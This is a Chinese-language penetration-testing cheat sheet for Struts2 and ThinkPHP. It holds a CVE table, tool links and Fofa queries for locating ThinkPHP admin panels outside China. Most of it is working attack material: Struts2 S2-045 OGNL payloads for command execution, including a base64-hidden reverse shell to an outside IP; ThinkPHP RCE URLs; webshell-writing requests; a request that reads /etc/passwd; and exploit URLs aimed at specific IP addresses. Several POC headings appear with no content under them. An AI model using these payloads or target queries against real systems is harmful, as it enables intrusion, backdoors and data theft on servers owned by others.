Struts2漏洞
Struts2简介
Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts1和Struts2;Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在 struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。
Struts2历史漏洞
漏洞编号 | CVE编号 | 影响版本 | 发送数据 | 实现功能 |
---|---|---|---|---|
S2-001 | CVE-2007-4556 | Struts 2.0.0-2.0.8 | POST请求发送数据;默认参数为:username,password | 获取WEB路径,任意命令执行和反弹shell |
S2-003 | Struts 2.0.0-2.0.11.2 | GET请求发送数据 | 任意命令执行 | |
S2-005 | CVE-2010-1870 | Struts 2.0.0-2.1.8.1 | GET请求发送数据 | 获取WEB路径,任意命令执行 |
S2-007 | CVE-2012-0838 | Struts 2.0.0-2.2.3 | POST请求发送数据;默认参数为:username,password | 任意命令执行和反弹shell |
S2-008 | CVE-2012-0391 | Struts 2.1.0-2.3.1 | GET请求发送数据 | 任意命令执行和反弹shell |
S2-009 | CVE-2011-3923 | Struts 2.0.0-2.3.1.1 | GET请求发送数据,URL后面需要请求参数名; 默认参数: key | 任意命令执行和反弹shell |
S2-012 | CVE-2013-1965 | Struts Showcase App 2.0.0-2.3.13 | GET请求发送数据,参数直接添加到URL后面; 默认参数:name | 任意命令执行和反弹shell |
S2-013/S2-014 | CVE-2013-1966 | Struts 2.0.0-2.3.14.1 | GET请求发送数据 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
S2-015 | CVE-2013-2135 | Struts 2.0.0-2.3.14.2 | GET请求发送数据 | 任意命令执行和反弹shell |
S2-016 | CVE-2013-2251 | Struts 2.0.0-2.3.15 | GET请求发送数据 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
S2-019 | CVE-2013-4316 | Struts 2.0.0-2.3.15.1 | GET请求发送数据 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
S2-020 | CVE-2014-0094 | Struts 2.0.0–2.3.16 | GET请求发送数据 | 任意命令执行,反弹shell和文件上传 |
S2-029 | CVE-2016-0785 | Struts 2.0.0-2.3.24.1(除了2.3.20.3) | POST请求发送数据,需要参数; 默认参数:message | 任意命令执行和反弹shell |
S2-032 | CVE-2016-3081 | Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3) | GET请求发送数据 | 获取WEB路径,任意命令执行和反弹shell |
S2-033 | CVE-2016-3087 | Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3) | GET请求发送数据 | 任意命令执行和反弹shell |
S2-037 | CVE-2016-4438 | Struts 2.3.20-2.3.28.1 | GET请求发送数据 | 获取WEB路径,任意命令执行和反弹shell |
S2-045 | CVE-2017-5638 | Struts 2.3.5-2.3.31,2.5-2.5.10 | POST请求发送数据,不需要参数 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
S2-052 | CVE-2017-9805 | Struts 2.1.2-2.3.33,2.5-2.5.12 | POST请求发送数据,不需要参数 | 任意命令执行,反弹shell和文件上传 |
S2-053 | CVE-2017-12611 | Struts 2.0.1–2.3.33,2.5–2.5.10 | GET请求发送数据 | 任意命令执行,反弹shell |
S2-057 | CVE-2018-11776 | Struts 2.3–2.3.34,2.5–2.5.16 | GET请求发送数据 | 任意命令执行和反弹shell |
S2-059 | CVE-2019-0230 | Struts 2.0.0-2.5.20 | POST请求发送数据 | 任意命令执行 |
Struts2历史漏洞原理分析
https://tttang.com/archive/1583
https://su18.org/post/struts2-5/
Struts2历史漏洞环境搭建
https://github.com/vulhub/vulhub/tree/master/struts2
Struts2历史漏洞发现
Struts2框架识别
- 通过网页后缀来进行判断,如 .do 或者 .action
- 通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
Struts2漏洞检测工具
https://github.com/HatBoy/Struts2-Scan
https://github.com/Guaang/s2-tool
https://github.com/shack2/Struts2VulsTools
Struts2历史漏洞利用
Struts2-045
漏洞简介
漏洞编号:S2-045
CVE编号:cve-2017-5638
安恒信息安全研究院WEBIN实验室高级安全研究员 nike.zheng 发现著名 J2EE 框架——Struts2存在远程代码执行的严重漏洞,定级为高风险
在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。
影响范围
影响版本范围为:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
漏洞利用
- 随意上传一个文件并抓包
- 修改 Content-Type 为以下内容
Content-Type:"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
- 反弹Shell
Content-Type:"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNzg5MCAwPiYx|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Struts2漏洞利用POC
struts2-059
struts2-057
弹出计算器
命令回显
struts2-053
struts2-052
struts2-048
struts2-046
struts2-045
struts2_037
struts2_032
获取磁盘目录
执行命令
上传文件
struts2_019
struts2_016
Thinkphp漏洞
Thinkphp简介
Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp 开发的网站。
Thinkphp历史漏洞
版本 | 漏洞类型 |
---|---|
ThinkPHP3.2.3 | 缓存函数设计缺陷可导致Getshell |
ThinkPHP3.2.3 | 最新版update注入漏洞 |
ThinkPHP3.2.X | find_select_delete注入 |
ThinkPHP3.X | order_by注入漏洞 |
ThinkPHP5.0.X | sql注入漏洞 |
ThinkPHP5.0.10 | 缓存函数设计缺陷可导致Getshell |
ThinkPHP5 | SQL注入漏洞&&敏感信息泄露 |
ThinkPHP5.X | order_by注入漏洞 |
ThinkPHP5.X | 远程代码执行 |
Thinkphp历史漏洞发现
- 默认页面、错误页面
- 批量漏洞检测
- Fofa
header="thinkphp" && country!="CN"
header="thinkphp" && country!="CN" && title="后台管理"
header="thinkphp" && country!="CN" && title="后台管理" && after="2021-01-01"
Thinkphp历史漏洞利用
https://github.com/Lucifer1993/TPscan
https://github.com/theLSA/tp5-getshell
https://github.com/Lotus6/ThinkphpGUI
https://github.com/bewhale/thinkphp_gui_tools
https://github.com/MrHatSec/ThinkPhp5.x_Scan
Thinkphp3 漏洞总结 :
https://y4er.com/post/thinkphp3-vuln/
Thinkphp5 RCE 总结 :
https://y4er.com/post/thinkphp5-rce/
5.0.* 版本常用POC
- 执行命令
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
- 写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php
5.1.* 版本常用POC
执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo
写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
(echo "^<?php @eval($_POST[ccc]);?^>" >shell1.php)
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
漏洞利用
POST:/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
POST:/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php
http://47.104.255.11:9001/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://47.104.255.11:9002/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami